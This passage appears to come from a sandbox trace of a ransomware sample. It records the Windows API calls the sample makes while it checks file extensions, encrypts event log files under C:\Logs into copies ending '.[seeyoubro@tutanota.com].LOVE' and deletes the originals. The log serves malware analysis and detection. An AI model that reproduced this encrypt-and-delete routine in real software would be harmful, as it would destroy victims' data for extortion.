[0207.635] CloseHandle (hObject=0x370) returned 1 [0207.637] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.637] SetEndOfFile (hFile=0x384) returned 1 [0207.638] CloseHandle (hObject=0x384) returned 1 [0207.638] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0207.638] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0207.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.638] lstrlenW (lpString=".doc") returned 4 [0207.638] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.638] lstrlenW (lpString=".docx") returned 5 [0207.638] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.639] lstrlenW (lpString=".pdf") returned 4 [0207.639] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString=".xls") returned 4 [0207.639] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString=".xlsx") returned 5 [0207.639] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.639] lstrlenW (lpString=".ppt") returned 4 [0207.639] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.639] lstrlenW (lpString=".zip") returned 4 [0207.639] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString=".rar") returned 4 [0207.639] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString=".bz2") returned 4 [0207.639] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString=".7z") returned 3 [0207.639] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.639] lstrlenW (lpString=".dbf") returned 4 [0207.639] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.639] lstrlenW (lpString=".1cd") returned 4 [0207.639] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.639] lstrlenW (lpString=".jpg") returned 4 [0207.639] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.639] lstrlenW (lpString=".doc") returned 4 [0207.639] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString=".docx") returned 5 [0207.639] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0207.639] lstrlenW (lpString=".pdf") returned 4 [0207.639] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0207.639] lstrlenW (lpString=".xls") returned 4 [0207.640] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0207.640] lstrlenW (lpString=".xlsx") returned 5 [0207.640] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0207.640] lstrlenW (lpString=".ppt") returned 4 [0207.640] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0207.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.640] lstrlenW (lpString=".zip") returned 4 [0207.640] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0207.640] lstrlenW (lpString=".rar") returned 4 [0207.640] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0207.640] lstrlenW (lpString=".bz2") returned 4 [0207.640] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0207.640] lstrlenW (lpString=".7z") returned 3 [0207.640] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0207.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.640] lstrlenW (lpString=".dbf") returned 4 [0207.640] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0207.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.640] lstrlenW (lpString=".1cd") returned 4 [0207.640] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0207.640] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0207.640] lstrlenW (lpString=".jpg") returned 4 [0207.640] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0207.640] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0207.640] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 66 [0207.640] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.641] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0207.641] CloseHandle (hObject=0x384) returned 1 [0207.641] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 0x20 [0207.641] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.641] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.641] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.641] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.641] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0207.641] GetLastError () returned 0x0 [0207.641] ReadFile (in: hFile=0x384, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0208.036] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0208.274] ReadFile (in: hFile=0x384, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.274] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x158, lpOverlapped=0x0) returned 1 [0208.274] SetEndOfFile (hFile=0x370) returned 1 [0208.274] CloseHandle (hObject=0x370) returned 1 [0208.276] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.276] SetEndOfFile (hFile=0x384) returned 1 [0208.278] CloseHandle (hObject=0x384) returned 1 [0208.281] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0208.304] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx")) returned 1 [0208.304] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.304] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.304] lstrlenW (lpString=".doc") returned 4 [0208.304] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.304] lstrlenW (lpString=".docx") returned 5 [0208.304] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.304] lstrlenW (lpString=".pdf") returned 4 [0208.304] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.304] lstrlenW (lpString=".xls") returned 4 [0208.305] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.305] lstrlenW (lpString=".xlsx") returned 5 [0208.305] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.305] lstrlenW (lpString=".ppt") returned 4 [0208.305] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.305] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.305] lstrlenW (lpString=".zip") returned 4 [0208.305] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.305] lstrlenW (lpString=".rar") returned 4 [0208.305] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.305] lstrlenW (lpString=".bz2") returned 4 [0208.305] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.305] lstrlenW (lpString=".7z") returned 3 [0208.305] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.305] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.305] lstrlenW (lpString=".dbf") returned 4 [0208.305] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.305] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.305] lstrlenW (lpString=".1cd") returned 4 [0208.305] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.305] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.305] lstrlenW (lpString=".jpg") returned 4 [0208.305] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.305] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.305] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.305] lstrlenW (lpString=".doc") returned 4 [0208.305] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.305] lstrlenW (lpString=".docx") returned 5 [0208.305] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.306] lstrlenW (lpString=".pdf") returned 4 [0208.306] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.306] lstrlenW (lpString=".xls") returned 4 [0208.306] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.306] lstrlenW (lpString=".xlsx") returned 5 [0208.306] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.306] lstrlenW (lpString=".ppt") returned 4 [0208.306] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.306] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.306] lstrlenW (lpString=".zip") returned 4 [0208.306] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.306] lstrlenW (lpString=".rar") returned 4 [0208.306] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.306] lstrlenW (lpString=".bz2") returned 4 [0208.306] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.306] lstrlenW (lpString=".7z") returned 3 [0208.306] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.306] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.306] lstrlenW (lpString=".dbf") returned 4 [0208.306] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.306] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.306] lstrlenW (lpString=".1cd") returned 4 [0208.306] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.306] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 74 [0208.306] lstrlenW (lpString=".jpg") returned 4 [0208.306] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.458] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0208.458] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0208.458] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.461] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0208.461] CloseHandle (hObject=0x37c) returned 1 [0208.461] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0208.461] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.461] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.492] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.492] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.492] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0208.493] GetLastError () returned 0x0 [0208.493] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0208.513] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0208.515] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.515] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x146, lpOverlapped=0x0) returned 1 [0208.515] SetEndOfFile (hFile=0x370) returned 1 [0208.515] CloseHandle (hObject=0x370) returned 1 [0208.517] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.517] SetEndOfFile (hFile=0x37c) returned 1 [0208.519] CloseHandle (hObject=0x37c) returned 1 [0208.519] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0208.519] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0208.523] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.523] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.523] lstrlenW (lpString=".doc") returned 4 [0208.523] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.523] lstrlenW (lpString=".docx") returned 5 [0208.523] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.523] lstrlenW (lpString=".pdf") returned 4 [0208.523] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.523] lstrlenW (lpString=".xls") returned 4 [0208.523] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.523] lstrlenW (lpString=".xlsx") returned 5 [0208.523] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.524] lstrlenW (lpString=".ppt") returned 4 [0208.524] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.524] lstrlenW (lpString=".zip") returned 4 [0208.524] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.524] lstrlenW (lpString=".rar") returned 4 [0208.524] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.524] lstrlenW (lpString=".bz2") returned 4 [0208.524] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.524] lstrlenW (lpString=".7z") returned 3 [0208.524] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.524] lstrlenW (lpString=".dbf") returned 4 [0208.524] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.524] lstrlenW (lpString=".1cd") returned 4 [0208.524] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.524] lstrlenW (lpString=".jpg") returned 4 [0208.524] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.524] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.524] lstrlenW (lpString=".doc") returned 4 [0208.524] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.524] lstrlenW (lpString=".docx") returned 5 [0208.524] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.524] lstrlenW (lpString=".pdf") returned 4 [0208.524] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.524] lstrlenW (lpString=".xls") returned 4 [0208.525] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.525] lstrlenW (lpString=".xlsx") returned 5 [0208.525] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.525] lstrlenW (lpString=".ppt") returned 4 [0208.525] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.525] lstrlenW (lpString=".zip") returned 4 [0208.525] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.525] lstrlenW (lpString=".rar") returned 4 [0208.525] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.525] lstrlenW (lpString=".bz2") returned 4 [0208.525] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.525] lstrlenW (lpString=".7z") returned 3 [0208.525] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.525] lstrlenW (lpString=".dbf") returned 4 [0208.525] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.525] lstrlenW (lpString=".1cd") returned 4 [0208.525] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.525] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0208.525] lstrlenW (lpString=".jpg") returned 4 [0208.525] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.525] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0208.525] lstrlenW (lpString="Microsoft-Windows-Winlogon%4Operational.evtx") returned 44 [0208.526] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.526] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0208.526] CloseHandle (hObject=0x37c) returned 1 [0208.526] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 0x20 [0208.526] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.526] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0208.526] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.526] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.526] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0208.527] GetLastError () returned 0x0 [0208.527] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0208.628] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0208.630] ReadFile (in: hFile=0x37c, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0208.630] WriteFile (in: hFile=0x370, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x12c, lpOverlapped=0x0) returned 1 [0208.630] SetEndOfFile (hFile=0x370) returned 1 [0208.630] CloseHandle (hObject=0x370) returned 1 [0208.632] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0208.632] SetEndOfFile (hFile=0x37c) returned 1 [0208.633] CloseHandle (hObject=0x37c) returned 1 [0208.633] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0208.634] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-winlogon%4operational.evtx")) returned 1 [0208.634] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.634] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Winlogon%4Operational.evtx") returned 52 [0208.634] lstrlenW (lpString=".doc") returned 4 [0208.634] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.634] lstrlenW (lpString=".docx") returned 5 [0208.634] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.634] lstrlenW (lpString=".pdf") returned 4 [0208.634] lstrcmpiW (lpString1=".pdf", lpString2="evtx") 